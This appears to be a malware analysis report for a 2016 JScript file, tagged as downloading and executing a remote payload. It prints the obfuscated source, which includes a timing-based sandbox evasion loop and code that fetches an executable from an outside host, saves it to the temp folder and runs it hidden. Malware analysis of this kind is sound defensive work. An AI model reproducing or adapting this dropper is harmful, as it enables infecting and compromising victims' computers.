20160328_03b4c39b8ee07b73a1163b44d2c3c103.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-2569d92c8c04d3c5f6b10cb10f1302a492e7f7ac2996be5be0b76cae180be76800e
Evidence
1var Idooexforc = false;
2var Algyutf = "CreateObject";
3var Hjbwslnrek = function Pzsgbsn() {return WScript[Algyutf]("WScript.Shell");}();
4var Vyaqt = 123213;
5var Chiqfij = "MSXML2.XMLHTTP";
6var Msuzrscrp = 2123213;
7var Uoxrlkckyv = 0;
8function Xhtjdfown(Kgzdl){Hjbwslnrek["Run"](Kgzdl, Uoxrlkckyv, Uoxrlkckyv);};
9function Kstqcmnnyb(){return Chiqfij;};
10function Dxcvvoyy(Tcyrazbh, Opkbd){return Tcyrazbh - Opkbd;};
11function Pybmy(){return Algyutf;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Idooexforc = true;
15 @end
16@*/
17var Yxtijqp = "";
18if (Idooexforc)
19{
20function Khchz(){return 22;};
21var Duubwinuyv = 0; var Cvycawv = 0;
22function Vgyrrqqhzt()
23{
24var Ybqzsdqlro = new this["Date"]();
25var Rlpltmbnii = Ybqzsdqlro["getUTCMilliseconds"]();
26WScript["Sleep"](Khchz());
27var Ybqzsdqlro = new this["Date"]();
28var Geyiupooxx = Ybqzsdqlro["getUTCMilliseconds"]();
29WScript["Sleep"](Khchz());
30var Ybqzsdqlro = new this["Date"]();
31var Oqpaxlnmhw = Ybqzsdqlro["getUTCMilliseconds"]();
32var Duubwinuyv = "Kilklzagl";
33Duubwinuyv = Dxcvvoyy(Geyiupooxx, Rlpltmbnii);
34var Cvycawv = "Myrrobg";
35Cvycawv = Dxcvvoyy(Oqpaxlnmhw, Geyiupooxx);
36Yxtijqp = "open";
37return Dxcvvoyy(Duubwinuyv, Cvycawv);
38}
39var Zsagnbmcvg = false;
40var Awgozi = false;
41for (var Vnltnuktus = Uoxrlkckyv; Vnltnuktus < Khchz() * 1; Vnltnuktus++){if (Vgyrrqqhzt() != Uoxrlkc …
49:11… mcvg && Ptwzaqiear() && Awgozi){
50function Plzwyvjipx() {return Hjbwslnrek["ExpandEnvironmentStrings"]("%TEMP%/") + "iFxgOeom0Qxj1.exe";};
51 Uvzfxz = Kstqcmnnyb();
52 Ijkvj = WScript[Algyutf](Uvzfxz);
53 var Tsweqz = 1;
54 while (Tsweqz){
55try {
56Ijkvj[Yxtijqp]("GET", "http://happyweek.us/kei3a", false);
57Ijkvj["send"]();
58Bhfbnjjz = "Sleep";
59do {WScript[Bhfbnjjz](Khchz() * 11)} while (Ijkvj["readystate"] < 4 );
60Tsweqz = Uoxrlkckyv;
61} catch(Nmdrxi){Tsweqz = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Kmazx(Semup) {var Jwklgu = (1, 2, 3, 4, 5, Semup); return Jwklgu;};
64Xlilkpd = WScript[Pybmy()]("ADODB.Stream");
65Uvzfxz = Xlilkpd;
66Uvzfxz[Yxtijqp]();
67Uvzfxz["type"] = Kmazx(1);
68Uvzfxz["write"](Ijkvj["ResponseBody"]);
69Xlilkpd["position"] = Kmazx(Uoxrlkckyv);
70Uvzfxz["SaveToFile"](Plzwyvjipx(), Kmazx(2) );
71Xlilkpd["close"]();
72Xhtjdfown(Plzwyvjipx());
73}
74}
75